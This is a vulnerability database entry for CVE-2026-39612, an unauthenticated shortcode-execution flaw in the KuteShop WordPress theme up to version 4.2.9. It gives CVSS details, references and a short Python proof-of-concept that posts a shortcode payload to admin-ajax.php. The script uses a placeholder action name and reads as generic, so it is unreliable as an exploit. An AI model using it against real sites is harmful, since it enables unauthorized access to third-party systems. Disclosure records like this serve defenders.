CVE-2026-39612

Description

Missing Authorization vulnerability in kutethemes KuteShop kuteshop allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects KuteShop: from n/a through <= 4.2.9.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

KuteShop <= 4.2.9

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# Exploit Title: KuteShop Theme <= 4.2.9 - Unauthenticated Arbitrary Shortcode Execution
# Date: 2026-04-08
# CVE: CVE-2026-39612

import requests

def exploit(target_url):
    # The vulnerable endpoint typically handles AJAX requests
    url = f"{target_url}/wp-admin/admin-ajax.php"
    
    # Payload attempting to execute a shortcode (e.g., listing users)
    # Note: The specific 'action' parameter depends on the theme's implementation
    payload = {
        "action": "kuteshop_vulnerable_action", 
        "content": "[list_users]" 
    }

    try:
        response = requests.post(url, data=payload, timeout=10)
        if response.status_code == 200:
            print("[+] Request sent successfully. Check response for potential output.")
            print(response.text[:200])
        else:
            print("[-] Exploit failed or endpoint not reachable.")
    except Exception as e:
        print(f"[!] Error: {e}")

# Usage: exploit("http://target-site.com")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-39612
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-39612
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-39612/
[4] VulDB https://vuldb.com/cve/CVE-2026-39612
[5] https://patchstack.com/database/Wordpress/Theme/kuteshop/vulnerability/wordpress-kuteshop-theme-4-2-9-arbitrary-shortcode-execution-vulnerability?_s_id=cve

Raw JSON Data

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